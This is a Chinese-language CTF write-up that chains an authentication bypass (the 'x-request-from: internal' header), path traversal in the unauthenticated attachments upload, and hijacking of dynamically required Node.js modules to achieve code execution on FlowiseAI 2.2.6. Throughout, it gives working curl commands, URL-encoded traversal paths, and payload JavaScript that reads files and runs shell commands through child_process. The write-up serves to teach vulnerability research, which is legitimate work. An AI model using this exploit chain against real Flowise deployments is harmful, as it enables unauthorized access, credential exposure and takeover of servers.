FlowiseAI 任意文件上传 CTF Writeup

FlowiseAI 任意文件上传 CTF Writeup

题目背景

目标地址:

text 复制代码
http://8.147.132.32:38529/

题目提示关键信息:

  • 服务是 FlowiseAI
  • 版本 <= 2.2.6
  • 存在 /api/v1/attachments 未授权任意文件上传漏洞
  • 容器环境的 /bin/shBusyBox ash
  • 容器内置 python
  • 提示了 CVE-2025-26319

这道题的核心不是"单点直接读 flag",而是把几个问题串成一条完整利用链:

  1. 通过请求头绕过后台 API 鉴权
  2. 利用附件上传接口做任意路径写入
  3. 覆盖一个会被服务端动态 require 的 Node.js 依赖
  4. 触发该依赖被加载,获得宿主 Node.js 代码执行
  5. 读取 /root/flag

最终拿到的 flag:

text 复制代码
flag{b2881071-2792-40ac-85eb-806b0c44fab4}

一、前期信息收集

先确认目标是不是题目说的 Flowise:

bash 复制代码
curl -i http://8.147.132.32:38529/
curl -i http://8.147.132.32:38529/api/v1/version
curl -i http://8.147.132.32:38529/api/v1/ping

关键结果:

  • 首页标题显示 Flowise - Low-code LLM apps builder
  • /api/v1/version 返回:
json 复制代码
{"version":"2.2.6"}
  • /api/v1/ping 返回 pong

说明:

  • 目标确实是 Flowise 2.2.6
  • 版本和题目提示完全对上

二、先看后台 API 有没有额外问题

1. 正常访问后台管理 API

直接访问一些典型后台接口:

bash 复制代码
curl -i http://8.147.132.32:38529/api/v1/chatflows
curl -i http://8.147.132.32:38529/api/v1/tools
curl -i http://8.147.132.32:38529/api/v1/credentials
curl -i http://8.147.132.32:38529/api/v1/apikey

结果都是:

json 复制代码
{"error":"Unauthorized Access"}

说明后台默认有 API 鉴权。

2. 发现鉴权绕过点

继续测试时发现,只要加一个请求头:

text 复制代码
x-request-from: internal

后台就会把请求当作"内部请求"直接放行。

例如:

bash 复制代码
curl -i -H "x-request-from: internal" http://8.147.132.32:38529/api/v1/apikey

返回了真实 API key 数据,而不是未授权:

json 复制代码
[{"keyName":"DefaultKey","apiKey":"...","apiSecret":"...","id":"...","chatFlows":[]}]

这一步非常关键,因为它说明:

  • 题目不仅有上传漏洞
  • 还有一个后台鉴权设计问题
  • 我们后面可以直接调用后台管理 API

三、确认任意文件上传漏洞

先用一个普通文本文件测试上传接口。

本地准备文件:

text 复制代码
hello.txt
内容:hello

测试上传:

bash 复制代码
curl -i -X POST \
  -F "files=@hello.txt;type=text/plain" \
  http://8.147.132.32:38529/api/v1/attachments/test/test

返回:

json 复制代码
[{"name":"hello.txt","mimeType":"text/plain","size":5,"content":"hello"}]

说明:

  • 上传接口确实未授权可用
  • 服务端还会把文件内容回显给我们

但这里还只是"普通上传",还没有证明"任意路径写"。


四、为什么能做路径穿越

Flowise 2.2.6 的上传路由是:

text 复制代码
/api/v1/attachments/:chatflowId/:chatId

服务端会把这两个路径参数直接拼到最终存储路径里。

问题在于:

  • 文件名做了清洗
  • chatflowIdchatId 没有做好路径限制

所以如果把 chatId 伪造成:

text 复制代码
../../../../目标目录

就能把上传文件写到原本存储目录之外。

重点:必须防止客户端自动规范化路径

如果直接把 ../ 放在 URL 里,很多客户端会提前做路径规范化,导致请求根本没按原样发送。

所以这里有两个关键点:

  1. 使用 curl --path-as-is
  2. ../ URL 编码为 %2e%2e%2f

例如:

text 复制代码
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f

表示:

text 复制代码
../../../../

五、先确认真正写进了应用目录

一开始不要直接上 payload,先做一个最稳的验证:

  • 覆盖 customFunction 节点的图标文件
  • 然后通过 node-icon 接口读取这个图标

如果图标内容变了,就说明我们真的写进了应用目录。

1. 上传伪造的图标文件

准备本地文件:

text 复制代码
customfunction.svg
内容:PROBE_ICON

上传到目标目录:

bash 复制代码
curl --path-as-is -i -X POST \
  -F "files=@customfunction.svg;type=image/svg+xml" \
  "http://8.147.132.32:38529/api/v1/attachments/x/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fnode_modules%2fflowise%2fnode_modules%2fflowise-components%2fdist%2fnodes%2futilities%2fCustomFunction"

2. 读取图标

bash 复制代码
curl -i -H "x-request-from: internal" \
  http://8.147.132.32:38529/api/v1/node-icon/customFunction

返回内容变成了:

text 复制代码
PROBE_ICON

这说明两件事:

  • 任意路径写已经成功
  • 写入的就是运行中的应用目录

六、寻找代码执行触发点

既然能任意写文件,下一步就是想办法让服务端主动执行我们写进去的代码。

1. 为什么不直接用 customFunction

Flowise 里有 Custom JS Function 节点,看起来像天然 RCE 点,但它跑在 NodeVM 沙箱里:

  • fs 被禁
  • child_process 被禁
  • process 被禁
  • 字符串构造函数逃逸也被限制

所以它不能直接用来读系统文件。

2. 更好的思路:依赖劫持

我们不在沙箱里执行代码,而是:

  1. 覆盖一个应用运行时会动态加载的依赖文件
  2. 触发该功能
  3. 让 Node.js 宿主进程自己执行我们的 payload

这就绕开了 NodeVM 沙箱。


七、选中第一个动态加载点:PDF 解析依赖

在 Flowise 的 PDF 文档加载器里,有类似逻辑:

js 复制代码
require('pdf-parse/lib/pdf.js/v1.10.100/build/pdf.js')

这意味着:

  • 这个模块不是启动时固定加载
  • 而是在真正解析 PDF 时按需 require

所以可以:

  1. 覆盖这个 pdf.js
  2. 触发一次 PDF 解析
  3. 在模块加载阶段执行恶意代码

1. 上传恶意 pdf.js

恶意代码的思路很简单:

  • /etc/hostname
  • 把结果写到 customFunction 的图标文件

示例 payload:

js 复制代码
const fs = require('fs');
try {
  let data = 'NOHOST';
  try { data = fs.readFileSync('/etc/hostname', 'utf8'); } catch (e) {}
  fs.writeFileSync(
    '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/utilities/CustomFunction/customfunction.svg',
    'PDFPWN:' + data
  );
} catch (e) {}
module.exports = {};

上传:

bash 复制代码
curl --path-as-is -i -X POST \
  -F "files=@pdf.js;type=text/plain" \
  "http://8.147.132.32:38529/api/v1/attachments/x/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fnode_modules%2fflowise%2fnode_modules%2fpdf-parse%2flib%2fpdf.js%2fv1.10.100%2fbuild"

2. 触发 PDF 解析

调用文档预览接口去处理一个 PDF:

bash 复制代码
curl -H "x-request-from: internal" \
  -H "Content-Type: application/json" \
  --data-binary @pdfpreview.json \
  http://8.147.132.32:38529/api/v1/document-store/loader/preview

接口虽然报错:

text 复制代码
getDocument is not a function

但这不重要。

因为模块一旦被 require,我们的 payload 就已经执行了。

3. 读取回显

bash 复制代码
curl -H "x-request-from: internal" \
  http://8.147.132.32:38529/api/v1/node-icon/customFunction

返回:

text 复制代码
PDFPWN:engine-2

这一步正式证明:

  • 我们不是只做到任意写
  • 而是已经拿到了宿主 Node.js 代码执行

八、为什么还要换第二条链

上面的 pdf.js 已经成功执行一次了。

但 Node.js 有模块缓存机制:

  • 同一个模块第一次 require 后会进入缓存
  • 后续再覆盖这个文件,不一定会重新执行

所以想执行"最终 payload"时,最好换一个还没被加载过的动态依赖

这就是后面切换到 replicate 包的原因。


九、第二条新鲜触发链:Replicate 依赖劫持

Flowise 的 Replicate 节点在真正调用模型时会动态导入:

js 复制代码
require('replicate')

这是一个新的、未缓存的模块入口,非常适合执行最终 payload。

1. 先创建一个假的 Replicate 凭据

因为节点初始化需要凭据字段,我们先建一个假凭据:

json 复制代码
{
  "name": "rep-creds",
  "credentialName": "replicateApi",
  "plainDataObj": {
    "replicateApiKey": "dummy-token"
  }
}

发送:

bash 复制代码
curl -H "x-request-from: internal" \
  -H "Content-Type: application/json" \
  --data-binary @repcred.json \
  http://8.147.132.32:38529/api/v1/credentials

2. 覆盖 node_modules/replicate/index.js

最终 payload 思路:

  • 先尝试读取常见 flag 路径
  • 如果读不到,就全盘搜索带 flag 的文件
  • 把结果写回 customFunction 图标文件

示例 payload:

js 复制代码
const fs = require('fs');
const cp = require('child_process');
const outPath = '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/utilities/CustomFunction/customfunction.svg';

function collect() {
  const candidates = [
    '/flag','/flag.txt','/root/flag','/root/flag.txt',
    '/tmp/flag','/tmp/flag.txt','/home/ctf/flag','/home/ctf/flag.txt',
    '/app/flag','/app/flag.txt','/workspace/flag','/workspace/flag.txt'
  ];

  for (const p of candidates) {
    try {
      return 'PATH:' + p + '\\n' + fs.readFileSync(p, 'utf8');
    } catch (e) {}
  }

  try {
    return cp.execSync(
      \"find / -type f 2>/dev/null | grep -i flag | head -50 | while read f; do printf 'FILE:%s\\\\n' \\\"$f\\\"; head -c 300 \\\"$f\\\" 2>/dev/null; printf '\\\\n----\\\\n'; done\",
      { encoding: 'utf8', shell: '/bin/sh' }
    );
  } catch (e) {
    return 'ERR:' + e.message + '\\n' + String(e.stdout || '');
  }
}

class Replicate {
  constructor() {
    fs.writeFileSync(outPath, collect() || 'NORESULT');
  }
  async run() { return 'ok'; }
  async *stream() {
    yield { event: 'output', data: 'ok' };
    yield { event: 'done' };
  }
}

module.exports = Replicate;
module.exports.default = Replicate;

上传到:

text 复制代码
/usr/local/lib/node_modules/flowise/node_modules/replicate/index.js

3. 导入官方 Replicate 模板 chatflow

为了省事,直接使用 Flowise 自带的 Replicate LLM.json 模板:

  • replicate_0 节点补上刚创建的凭据 ID
  • 保存为新的 chatflow

4. 触发 prediction

向这个新建的 chatflow 发起一次普通推理请求:

bash 复制代码
curl -H "x-request-from: internal" \
  -H "Content-Type: application/json" \
  --data-binary @q.json \
  http://8.147.132.32:38529/api/v1/prediction/<replicate_chatflow_id>

虽然接口最终报错:

text 复制代码
Cannot read properties of undefined (reading 'versions')

但这依然没关系。

原因和前面一样:

  • replicate 模块在被导入时
  • 构造函数已经执行了
  • flag 已经被写到图标文件里

十、最终读取 flag

最后一步非常简单,直接取图标:

bash 复制代码
curl -H "x-request-from: internal" \
  http://8.147.132.32:38529/api/v1/node-icon/customFunction

返回:

text 复制代码
PATH:/root/flag
flag{b2881071-2792-40ac-85eb-806b0c44fab4}

因此最终 flag 为:

text 复制代码
flag{b2881071-2792-40ac-85eb-806b0c44fab4}

十一、整条利用链总结

这题的完整思路可以压缩成下面 4 句话:

  1. x-request-from: internal 可绕过后台 API 鉴权
  2. /api/v1/attachments 可配合编码路径穿越实现任意文件写
  3. 覆盖按需动态加载的 Node.js 依赖文件,能拿到宿主代码执行
  4. 用图标接口做回显,最终读出 /root/flag

十二、这题为什么适合新手学习

这题很适合入门做以下几个知识点:

  • 如何从版本号和题目提示快速定位漏洞方向
  • 如何区分"普通上传"和"任意路径写"
  • 为什么有时候 ../ 不生效,其实是客户端帮你规范化了路径
  • 为什么 Node.js 的 require 缓存会影响二次利用
  • 为什么"接口报错"不等于"利用失败"
  • 如何给自己设计一个稳定的回显通道

十三、复现时最容易踩的坑

1. 没用 --path-as-is

这样客户端会提前处理路径,任意写就失败。

2. 没做 URL 编码

直接写 ../ 很容易被中间层或客户端改写。

3. 只盯着 HTTP 返回码

很多时候触发点报错了,但恶意模块已经执行完了。

4. 忘了模块缓存

同一个模块第一次触发后,后面再改文件不一定会重新执行。

5. 选错回显位置

最稳的是选"应用本来就会读出来"的静态资源或接口,例如本题的 node-icon/customFunction


十四、最终答案

text 复制代码
flag{b2881071-2792-40ac-85eb-806b0c44fab4}
相关推荐
与衫3 小时前
[特殊字符] 解决 DataHub 无法解析复杂 SQL 血缘的问题(gsp-datahub-sidecar 实测)
数据库·sql
white-persist3 小时前
【vulhub shiro 漏洞复现】vulhub shiro CVE-2016-4437 Shiro反序列化漏洞复现详细分析解释
运维·服务器·网络·python·算法·安全·web安全
不灭锦鲤5 小时前
网络安全学习第59天
学习·安全·web安全
以神为界8 小时前
数据库入门全指南:从基础概念到实操操作(含SQL+Navicat)
网络·数据库·sql·安全
Elastic 中国社区官方博客8 小时前
Elasticsearch:快速近似 ES|QL - 第二部分
大数据·数据库·sql·elasticsearch·搜索引擎·全文检索
小江的记录本10 小时前
【网络安全】《网络安全三大加密算法结构化知识体系》
java·前端·后端·python·安全·spring·web安全
七夜zippoe10 小时前
DolphinDB SQL查询:从简单到复杂
数据库·sql·mysql·查询·dolphindb
赵侃侃爱分享10 小时前
学习网络安全后首先应该做这些工作
学习·安全·web安全
山峰哥11 小时前
SQL性能飞跃:从索引策略到查询优化的全链路实战指南
数据库·sql·性能优化·深度优先